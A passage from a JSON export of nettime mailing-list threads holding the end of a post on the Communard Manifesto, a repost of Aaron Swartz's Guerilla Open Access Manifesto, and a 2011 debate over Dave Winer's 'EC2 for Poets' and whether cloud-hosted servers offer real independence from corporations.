to\nhttps://lasindias.com/the-communard-manifesto \u200eso your readers can\naccess the complete text in the format they prefer.\n            Publish a link to this manifesto in social media wherever\nyou have an account.\n            Email the PDF version to people you usually discuss social\nand economic matters with, and the EPUB version to people who normally\nread electronic books or on a smartphone, who will appreciate it more\nthan the PDF.\n            You can organize a presentation of the Manifesto. If you\nwrite us an email, we\u2019ll be able to send you copies on paper, and we\u2019ll\ndo everything possible so that at least one of us can accompany you at\nthe presentation.\n            Ask for a room at the library or cultural center in your\nneighborhood, and invite your friends and acquaintances over the net.\nPut up posters on bulletin boards at the same library and other places\nyou may know where interested people may pass by.\n\nPrepare to \u201cmake community\u201d\n\nIn the \u201clas Indias Club\u201c, you\u2019ll find events and activities throughout\nthe year that you can participate in. There are cultural and social\nactivities: from poetic soirees and historical expositions to projects\nin free software, P2P production, and the direct economy. Also, once a\nyear, in the second week of October, we organize an international\nconference in which we interview and learn from people from across the\nworld who have created or implemented all kinds of projects with small\nscale and large scope: energy cooperatives, hardware products,\nagricultural egalitarian communities\u2026\n\nWe have also a space for permanent conversation, \u201cLa Matriz\u201c, which we\ninvite you to join, and which is fed by posts from our blog and the\nblogs of a good part of the members of the \u201clas Indias Club\u201d.\n\nAnd, of course, there are hundreds of egalitarian communities throughout\nthe world, including ours, that await your visit with open doors. Write\nus and share your concerns and ideas with us.\n\n\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP: 056C E7D3 9B25 CAE1 336D 6D2F 0BBB 5B95 0C9F F2AC\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                "id": "00001",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1608/msg00001.html",
                "to": "nettime-l {AT} mx.kein.org",
                "message-id": "9e1bdfc0e9c0ac44d0dcda21d08c0951 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Tue, 2 Aug 2016 10:50:00 +0200",
                "list": "nettime_l",
                "author_name": "Felix Stalder",
                "subject": "<nettime> The Communard Manifesto (2/2)"
            },
            {
                "id": "00021",
                "content": "Let us honour Aaron by continuing his work, collectively.\n\nAaron Swartz: Guerilla Open Access Manifesto\n(https://gist.github.com/4535453)\n        ?\n        ?\nInformation is power. But like all power, there are those who want to keep\nit for themselves. The world?s entire scientific and cultural heritage,\npublished over centuries in books and journals, is increasingly being\ndigitized and locked up by a handful of private corporations. Want to read\nthe papers featuring the most famous results of the sciences? You?ll need\nto send enormous amounts to publishers like Reed Elsevier.\n\nThere are those struggling to change this. The Open Access Movement has\nfought valiantly to ensure that scientists do not sign their copyrights\naway but instead ensure their work is published on the Internet, under\nterms that allow anyone to access it. But even under the best scenarios,\ntheir work will only apply to things published in the future. Everything\nup until now will have been lost.\n\nThat is too high a price to pay. Forcing academics to pay money to read\nthe work of their colleagues? Scanning entire libraries but only allowing\nthe folks at Google to read them? Providing scientific articles to those\nat elite universities in the First World, but not to children in the\nGlobal South? It?s outrageous and unacceptable.\n\n?I agree,? many say, ?but what can we do? The companies hold the\ncopyrights, they make enormous amounts of money by charging for access,\nand it?s perfectly legal ? there?s nothing we can do to stop them.? But\nthere is something we can, something that?s already being done: we can\nfight back.\n\nThose with access to these resources ? students, librarians, scientists ?\nyou have been given a privilege. You get to feed at this banquet of\nknowledge while the rest of the world is locked out. But you need not ?\nindeed, morally, you cannot ? keep this privilege for yourselves. You have\na duty to share it with the world. And you have: trading passwords with\ncolleagues, filling download requests for friends.\n\nMeanwhile, those who have been locked out are not standing idly by. You\nhave been sneaking through holes and climbing over fences, liberating the\ninformation locked up by the publishers and sharing them with your\nfriends.\n\nBut all of this action goes on in the dark, hidden underground. It?s\ncalled stealing or piracy, as if sharing a wealth of knowledge were the\nmoral equivalent of plundering a ship and murdering its crew. But sharing\nisn?t immoral ? it?s a moral imperative. Only those blinded by greed would\nrefuse to let a friend make a copy.\n\nLarge corporations, of course, are blinded by greed. The laws under which\nthey operate require it ? their shareholders would revolt at anything\nless. And the politicians they have bought off back them, passing laws\ngiving them the exclusive power to decide who can make copies.\n\nThere is no justice in following unjust laws. It?s time to come into the\nlight and, in the grand tradition of civil disobedience, declare our\nopposition to this private theft of public culture.\n\nWe need to take information, wherever it is stored, make our copies and\nshare them with the world. We need to take stuff that's out of copyright\nand add it to the archive. We need to buy secret databases and put them on\nthe Web. We need to download scientific journals and upload them to file\nsharing networks. We need to fight for Guerilla Open Access.\n\nWith enough of us, around the world, we?ll not just send a strong message\nopposing the privatization of knowledge ? we?ll make it a thing of the\npast. Will you join us?\n\nAaron Swartz\nJuly 2008, Eremo, Italy\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1301/msg00021.html",
                "list": "nettime_l",
                "author_name": "Patrice Riemens",
                "subject": "<nettime> Aaron Swartz: Guerilla Open Access Manifesto",
                "from": "\"Patrice Riemens\" <patrice {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Ana Peraica <anaperaica {AT} gmail.com>",
                        "content": "Hi everyone,\n\nhave you seen this http://about.jstor.org/statement-swartz ?\n\nso sarcastic...\n\nAna\n\nOn Thu, Jan 17, 2013 at 10:57 PM, John Hopkins <jhopkins {AT} neoscenes.net>wrote:\n\n> On 1/17/13 06:59, Patrice Riemens wrote:\n>\n> Let us honour Aaron by continuing his work, collectively.\n>>\n>> Aaron Swartz: Guerilla Open Access Manifesto\n>> (https://gist.github.com/**4535453 <https://gist.github.com/4535453>)\n>>\n>\n> Happily, Patrice, I've already added this to the week's reading list\n> for a group of young students here at the Univ of Colorado studying\n <...>\n\n\n-- \ndr.sc. Ana Peraica\nslobodni umjetnik\n\nAtelier Perajica Peristil\nwww.atelierperajica.com\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00033",
                        "date": "Fri, 18 Jan 2013 12:43:21 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "c18d61370b6018445948fcb0de55533d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1301/msg00033.html",
                        "content-type": "text/plai",
                        "author_name": "Ana Peraica",
                        "subject": "Re: <nettime> Aaron Swartz: Guerilla Open Access Manifesto"
                    },
                    {
                        "from": "\"Tapas Ray [Gmail]\" <tapasrayx {AT} gmail.com>",
                        "content": "\nI was trying to read the manifesto in Firefox, but only the left half\nof the text appears in the window. This means I have to scroll right\nto read each line, then left and then right again for the next line,\nand so on. Could someone please tell me if there is any way to see it\nproperly formated?\n\nThanks,\n\nTapas\n\nOn 18 January 2013 03:27, John Hopkins <jhopkins {AT} neoscenes.net> wrote:\n>\n> On 1/17/13 06:59, Patrice Riemens wrote:\n>\n>> Let us honour Aaron by continuing his work, collectively.\n>>\n>> Aaron Swartz: Guerilla Open Access Manifesto\n>> (https://gist.github.com/4535453)\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00035",
                        "date": "Sat, 19 Jan 2013 09:02:42 +0530",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "CA+2G3D6dCDkyr=UCbqcQjcriFwinMixiQP_U2PzCCXn6TOHwPw {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1301/msg00035.html",
                        "content-type": "text/plai",
                        "author_name": "Tapas Ray [Gmail]",
                        "subject": "Re: <nettime> Aaron Swartz: Guerilla Open Access Manifesto"
                    }
                ],
                "message-id": "8720e394536ffdd29c49e3d60a7a9b4b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Thu, 17 Jan 2013 14:59:38 +0100",
                "content-type": "multipart/mixed"
            },
            {
                "id": "00032",
                "content": "(important element in the discussion about possible alternatives to  \nfacebook and twitter that presume that one runs one's own server... / \ngeert)\n\nurl: http://www.webmonkey.com/2011/02/take-back-the-tubes/\n\nA DIY Data Manifesto\nBy Scott Gilbertson\n\nThe word \u201cserver\u201d is enough to send all but the hardiest nerds  \nscurrying for cover.\nThe word usually conjures images of vast, complex data farms,  \ndatabases and massive infrastructures. True, servers are all those  \nthings \u2014 but at a more basic level, they\u2019re just like your desktop PC.\n\nRunning a server is no more difficult than starting Windows on your  \ndesktop. That\u2019s the message Dave Winer, forefather of blogging and  \ncreator of RSS, is trying to get across with his EC2 for Poets  \nproject. The name comes from Amazon\u2019s EC2 service and classes common  \nin liberal arts colleges, like programming for poets or computer  \nscience for poets. The theme of such classes is that anyone \u2014 even a  \npoet \u2014 can learn technology.\n\nWiner wants to demystify the server. \u201cEngineers sometimes mystify what  \nthey do, as a form of job security,\u201d writes Winer, \u201cI prefer to make  \nlight of it\u2026 it was easy for me, why shouldn\u2019t it be easy for everyone?\u201d\n\nTo show you just how easy it is to set up and run a server, Winer has  \nput together an easy-to-follow tutorial so you too can set up a  \nWindows-based server running in the cloud. Winer uses Amazon\u2019s EC2  \nservice. For a few dollars a month, Winer\u2019s tutorial can have just  \nabout anyone up and running with their own server.\n\nIn that sense Winer\u2019s EC2 for Poets if already a success, but  \neducation and empowerment aren\u2019t Winer\u2019s only goals. \u201cI think it\u2019s  \nimportant to bust the mystique of servers,\u201d says Winer, \u201cit\u2019s  \nessential if we\u2019re going to break free of the \u2018corporate blogging  \nsilos.\u2019\u201d\n\nThe corporate blogging silos Winer is thinking of are services like  \nTwitter, Facebook and WordPress. All three have been instrumental in  \nthe growth of the web, they make it easy for anyone publish. But they  \nalso suffer denial of service attacks, government shutdowns and  \ngrowing pains, centralized services like Twitter and Facebook are  \nvulnerable. Services wrapped up in a single company are also  \nvulnerable to market whims, Geocities is gone, FriendFeed languishes  \nat Facebook and Yahoo is planning to sell Delicious. A centralized web  \nis brittle web, one that can make our data, our communications tools  \ndisappear tomorrow.\n\nBut the web will likely never be completely free of centralized  \nservices and Winer recognizes that. Most people will still choose  \nconvenience over freedom. Twitter\u2019s user interface is simple, easy to  \nuse and works on half a dozen devices.\n\nWiner doesn\u2019t believe everyone will want to be part of the distributed  \nweb, just the dedicated. But he does believe there are more people who  \nwould choose a DIY path if they realized it wasn\u2019t that difficult.\n\nWiner isn\u2019t the only one who believes the future of the web will be  \ndistributed systems that aren\u2019t controlled by any single corporation  \nor  technology platform. Microformats founder Tantek \u00c7elik is also  \nworking on a distributed publishing system that seeks to retain all  \nthe cool features of the social web, but remove the centralized  \nbottleneck.\n\nBut to be free of corporate blogging silos and centralized services  \nthe web will need an army of distributed servers run by hobbyists,  \nnot  just tech-savvy web admins, but ordinary people who love the web  \nand want to experiment.\n\nSo while you can get your EC2 server up and running today \u2014 and even  \nplay around with Winer\u2019s River2 news aggregator \u2014 the real goal is  \nfurther down the road. Winer\u2019s vision is a distributed web where  \neverything is loosely coupled. \u201cFor example,\u201d Winer writes, \u201cthe roads  \nI drive on with my car are loosely-coupled from the car. I might drive  \na SmartCar, a Toyota or a BMW. No matter what car I choose I am free  \nto drive on the Cross-Bronx Expressway, Sixth Avenue or the Bay Bridge.\u201d\n\nWiner wants to start by creating a loosely coupled, distributed  \nmicroblogging service like Twitter. \u201cI\u2019m pretty sure we know how to  \ncreate a micro-blogging community with open formats and protocols and  \nno central point of failure,\u201d he writes on his blog.\n\nFor Winer that means decoupling the act of writing from the act of  \npublishing. The idea isn\u2019t to create an open alternative to Twitter,  \nit\u2019s to remove the need to use Twitter for writing on Twitter. Instead  \nyou write with the tools of your choice and publish to your own server.\n\nIf everyone publishes first to their own server there\u2019s no single  \npoint of failure. There\u2019s no fail whale, and no company owns your  \ndata. Once the content is on your server you can then push it on to  \nwherever you\u2019d like \u2014 Twitter, Tumblr, WordPress of whatever the site  \ndu jour is ten years from now.\n\nThe glue that holds this vision together is RSS. Winer sees RSS as the  \nideal broadcast mechanism for the distributed web and in fact he\u2019s  \nalready using it \u2014 Winer has an RSS feed of links that are then pushed  \non to Twitter. No matter what tool he uses to publish a link, it\u2019s  \ngathered up into a single RSS feed and pushed on to Twitter.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00032.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> A DIY Data Manifesto by Scott Gilbertson",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "author_name": "Rory Solomon",
                        "from": "Rory Solomon <rsolomon {AT} gmail.com>",
                        "id": "00047",
                        "content": "\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                        "date": "Mon, 7 Feb 2011 13:18:25 -0500",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "AANLkTinyUHHmmJdJxYvZ68QE71Hm3zuN&#45;T9cgZy&#45;BLqo {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00047.html",
                        "content-type": "multipart/mixed",
                        "follow-up": [
                            {
                                "author_name": "Geert Lovink",
                                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                                "id": "00051",
                                "content": "\nGood you raise this issue, Rory.\n\nIf I remember well from December Dave Winer kind of defended Amazon in  \nthe Wikileaks cut-off controversy (he said he would not join a boycott).\n\nThe question indeed is: what does it mean when we call to run our own  \nservers? If they are located somewhere in the 'cloud' then what's the  \ndifference anyway in comparison to Facebook or Google?\n\nThe alternatives we suggest cannot be empty gestures if we propose to  \nuse 'virtual' servers that are under the same corporate control anyway.\n\nGeert\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "date": "Mon, 7 Feb 2011 22:26:01 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "E242503A&#45;7D57&#45;4F2A&#45;BF22&#45;B37EA79DFD3F {AT} xs4all.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00051.html",
                                "content-type": "text/plai",
                                "follow-up": [
                                    {
                                        "from": "nettime-l {AT} kein.org",
                                        "content": "\nthe internet shutdown in egypt prompted similar questions about\nindependent infrastructure and corporate control.\n\nsee for example http://www.openmeshproject.org/ and the comment thread\non https://blog.torproject.org/blog/recent-events-egypt.\n\ni know that some people were busy setting up BBS in egypt during the\nshutdown, which has some interesting echoes of rushkoff's recent piece\non the Next Net ('dump internet, go fidonet')\nhttp://www.shareable.net/blog/the-next-net\n\ndan\n[ {AT} danmcquillan | www.internetartizans.co.uk]\n\nOn 7 February 2011 21:26, Geert Lovink <geert {AT} xs4all.nl> wrote:\n>\n> Good you raise this issue, Rory.\n <...>\n\n--\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00052",
                                        "date": "Tue, 8 Feb 2011 10:43:35 +0000",
                                        "to": "Geert Lovink <geert {AT} xs4all.nl>",
                                        "message-id": "AANLkTimntCKs&#45;goxQosp4XCG502R4eUYRehtLyOZr&#45;8R {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00052.html",
                                        "content-type": "text/plai",
                                        "author_name": "nettime-l",
                                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                                    },
                                    {
                                        "from": "Rob Myers <rob {AT} robmyers.org>",
                                        "content": "\nOn 07/02/11 21:26, Geert Lovink wrote:\n\n> The question indeed is: what does it mean when we call to run our own\n> servers? If they are located somewhere in the 'cloud' then what's the\n> difference anyway in comparison to Facebook or Google?\n>\n> The alternatives we suggest cannot be empty gestures if we propose to\n> use 'virtual' servers that are under the same corporate control anyway.\n\nYes, Amazon volunteered to cut off Wikileaks, which demonstrates that \nthe degree of freedom that EC2 instances give you are very limited -\n\nhttp://www.guardian.co.uk/technology/2010/dec/11/wikileaks-amazon-denial-democracy-lieberman\n\nEben Moglen gave a very good talk about the issues of privacy and \ncontrol that I think are at the heart of the question you raise, \nrecommending that people run servers on computing machinery that they \nphysically control -\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nIt's possible to implement Moglen's ideas with current technology: \nhere's a \"wall wart\" plug server in the corner of my living room running \nGNU social on Debian -\n\nhttp://foocorp.org/projects/fooplug/\n\nAnd here's a project to create a distro specifically for such devices -\n\nhttp://wiki.debian.org/FreedomBox\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00053",
                                        "date": "Tue, 08 Feb 2011 10:44:05 +0000",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4D511E75.9090102 {AT} robmyers.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00053.html",
                                        "content-type": "text/plai",
                                        "author_name": "Rob Myers",
                                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                                    },
                                    {
                                        "from": "Joss Winn <joss {AT} josswinn.org>",
                                        "content": "On 07/02/11 21:26, Geert Lovink wrote:\n> \n> Good you raise this issue, Rory.\n> \n> If I remember well from December Dave Winer kind of defended Amazon in  \n> the Wikileaks cut-off controversy (he said he would not join a boycott).\n> \n> The question indeed is: what does it mean when we call to run our own  \n> servers? If they are located somewhere in the 'cloud' then what's the  \n> difference anyway in comparison to Facebook or Google?\n> \n\nThere is no difference. The difference *appears* only to people who\nWiner wrote his EC2 for Poets for.  The Engineers who Winer disses, know\nthere's no real difference in freedom whether you use wordpress.com or\nset up your own blog on EC2. Sure, you can tinker with the application\nlayer, but if that's what you call freedom, you might as well go to\nDreamhost for $10/month and use their one-click\nWordPress/status.net/drupal/whatever installs.\n\nSetting up an EC2 server is a complete overkill for the appearance of\nfreedom Winer seems to be proposing. He's also understating the costs.\nEC2 is expensive to run a server 24/7 ($90/month) compared to somewhere\nlike gandi.net, for example (\u00a320/month). The only real benefit I can see\nfor EC2 is the ability to clone ready-made server images (as Winer is\npushing), but until very recently you couldn't even reliably send email\nfrom an EC2 server because Amazon expect their customers to handle email\nthrough dedicated third-party services. A simple EC2 server is one\nthing, but then you need to work through the minefield of elastic IP\naddresses, persistent storage, backups... Amazon sell services, not\ncomplete 'solutions'.\n\n> The alternatives we suggest cannot be empty gestures if we propose to  \n> use 'virtual' servers that are under the same corporate control anyway.\n> \n> Geert\n> \n> \n\nWiner's good work on RSS and OPML should not be understated but the idea\nthat freedom can be found in the cloud seems utterly naive to me. Any of\nus on this list who run our own virtual servers are aware of where the\nfreedom ends and the Amazon/Rackspace/etc. Terms and Conditions begin.\n(I was one of those that terminated my Amazon account recently).\n\nWiner (and the rest of us, too) might rather spend time looking at the\nwork of the radical tech collectives worldwide (of which nettime members\nare well aware), which are regularly having their hardware seized or\ncracked into by the cops, but persist in working collectively against\ncorporate control. Winer should be telling people to think about signing\nup to http://mayfirst.org for $10/month or groups of people colocating\nhardware with riseup.net in Seattle (http://www.seaccp.org/) or just set\nup a log-free blog on noblogs\n(http://www.autistici.org/en/services/web/blog.html)\n\nIn my experience, the closest thing to freedom on the net is to be found\nin these types of collectives.\nhttp://www.autistici.org/en/groups/links.html I would love to hear of\nbetter alternatives to so-called net freedom that exist. If you don't\nagree with their politics, they at least offer a relatively mature model\nof operation for others to emulate.\n\nThrough his advocacy for loosely coupled services, Winer seems to be\nmore interested in the freedom of data, not the freedom of people. If\nfreedom really is about being able to publish 140 characters from your\nown server and watch it 'loosely couple' itself with Twitter's API in\n'real-time', then I'm heading for the hills!\n\nYou've all probably seen these, but for the record:\n\nhttp://www.guardian.co.uk/technology/2008/sep/29/cloud.computing.richard.stallman\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nJoss\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00057",
                                        "date": "Tue, 08 Feb 2011 14:13:38 +0000",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4D514F92.9010602 {AT} josswinn.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00057.html",
                                        "content-type": "text/plai",
                                        "author_name": "Joss Winn",
                                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                                    }
                                ],
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            },
                            {
                                "from": "nettime-l {AT} kein.org",
                                "content": "\nthe internet shutdown in egypt prompted similar questions about\nindependent infrastructure and corporate control.\n\nsee for example http://www.openmeshproject.org/ and the comment thread\non https://blog.torproject.org/blog/recent-events-egypt.\n\ni know that some people were busy setting up BBS in egypt during the\nshutdown, which has some interesting echoes of rushkoff's recent piece\non the Next Net ('dump internet, go fidonet')\nhttp://www.shareable.net/blog/the-next-net\n\ndan\n[ {AT} danmcquillan | www.internetartizans.co.uk]\n\nOn 7 February 2011 21:26, Geert Lovink <geert {AT} xs4all.nl> wrote:\n>\n> Good you raise this issue, Rory.\n <...>\n\n--\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00052",
                                "date": "Tue, 8 Feb 2011 10:43:35 +0000",
                                "to": "Geert Lovink <geert {AT} xs4all.nl>",
                                "message-id": "AANLkTimntCKs&#45;goxQosp4XCG502R4eUYRehtLyOZr&#45;8R {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "nettime-l",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            },
                            {
                                "from": "Rob Myers <rob {AT} robmyers.org>",
                                "content": "\nOn 07/02/11 21:26, Geert Lovink wrote:\n\n> The question indeed is: what does it mean when we call to run our own\n> servers? If they are located somewhere in the 'cloud' then what's the\n> difference anyway in comparison to Facebook or Google?\n>\n> The alternatives we suggest cannot be empty gestures if we propose to\n> use 'virtual' servers that are under the same corporate control anyway.\n\nYes, Amazon volunteered to cut off Wikileaks, which demonstrates that \nthe degree of freedom that EC2 instances give you are very limited -\n\nhttp://www.guardian.co.uk/technology/2010/dec/11/wikileaks-amazon-denial-democracy-lieberman\n\nEben Moglen gave a very good talk about the issues of privacy and \ncontrol that I think are at the heart of the question you raise, \nrecommending that people run servers on computing machinery that they \nphysically control -\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nIt's possible to implement Moglen's ideas with current technology: \nhere's a \"wall wart\" plug server in the corner of my living room running \nGNU social on Debian -\n\nhttp://foocorp.org/projects/fooplug/\n\nAnd here's a project to create a distro specifically for such devices -\n\nhttp://wiki.debian.org/FreedomBox\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00053",
                                "date": "Tue, 08 Feb 2011 10:44:05 +0000",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4D511E75.9090102 {AT} robmyers.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00053.html",
                                "content-type": "text/plai",
                                "author_name": "Rob Myers",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            },
                            {
                                "from": "Joss Winn <joss {AT} josswinn.org>",
                                "content": "On 07/02/11 21:26, Geert Lovink wrote:\n> \n> Good you raise this issue, Rory.\n> \n> If I remember well from December Dave Winer kind of defended Amazon in  \n> the Wikileaks cut-off controversy (he said he would not join a boycott).\n> \n> The question indeed is: what does it mean when we call to run our own  \n> servers? If they are located somewhere in the 'cloud' then what's the  \n> difference anyway in comparison to Facebook or Google?\n> \n\nThere is no difference. The difference *appears* only to people who\nWiner wrote his EC2 for Poets for.  The Engineers who Winer disses, know\nthere's no real difference in freedom whether you use wordpress.com or\nset up your own blog on EC2. Sure, you can tinker with the application\nlayer, but if that's what you call freedom, you might as well go to\nDreamhost for $10/month and use their one-click\nWordPress/status.net/drupal/whatever installs.\n\nSetting up an EC2 server is a complete overkill for the appearance of\nfreedom Winer seems to be proposing. He's also understating the costs.\nEC2 is expensive to run a server 24/7 ($90/month) compared to somewhere\nlike gandi.net, for example (\u00a320/month). The only real benefit I can see\nfor EC2 is the ability to clone ready-made server images (as Winer is\npushing), but until very recently you couldn't even reliably send email\nfrom an EC2 server because Amazon expect their customers to handle email\nthrough dedicated third-party services. A simple EC2 server is one\nthing, but then you need to work through the minefield of elastic IP\naddresses, persistent storage, backups... Amazon sell services, not\ncomplete 'solutions'.\n\n> The alternatives we suggest cannot be empty gestures if we propose to  \n> use 'virtual' servers that are under the same corporate control anyway.\n> \n> Geert\n> \n> \n\nWiner's good work on RSS and OPML should not be understated but the idea\nthat freedom can be found in the cloud seems utterly naive to me. Any of\nus on this list who run our own virtual servers are aware of where the\nfreedom ends and the Amazon/Rackspace/etc. Terms and Conditions begin.\n(I was one of those that terminated my Amazon account recently).\n\nWiner (and the rest of us, too) might rather spend time looking at the\nwork of the radical tech collectives worldwide (of which nettime members\nare well aware), which are regularly having their hardware seized or\ncracked into by the cops, but persist in working collectively against\ncorporate control. Winer should be telling people to think about signing\nup to http://mayfirst.org for $10/month or groups of people colocating\nhardware with riseup.net in Seattle (http://www.seaccp.org/) or just set\nup a log-free blog on noblogs\n(http://www.autistici.org/en/services/web/blog.html)\n\nIn my experience, the closest thing to freedom on the net is to be found\nin these types of collectives.\nhttp://www.autistici.org/en/groups/links.html I would love to hear of\nbetter alternatives to so-called net freedom that exist. If you don't\nagree with their politics, they at least offer a relatively mature model\nof operation for others to emulate.\n\nThrough his advocacy for loosely coupled services, Winer seems to be\nmore interested in the freedom of data, not the freedom of people. If\nfreedom really is about being able to publish 140 characters from your\nown server and watch it 'loosely couple' itself with Twitter's API in\n'real-time', then I'm heading for the hills!\n\nYou've all probably seen these, but for the record:\n\nhttp://www.guardian.co.uk/technology/2008/sep/29/cloud.computing.richard.stallman\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nJoss\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00057",
                                "date": "Tue, 08 Feb 2011 14:13:38 +0000",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4D514F92.9010602 {AT} josswinn.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00057.html",
                                "content-type": "text/plai",
                                "author_name": "Joss Winn",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            }
                        ],
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "from": "lick Harrison <flick {AT} flickharrison.com>",
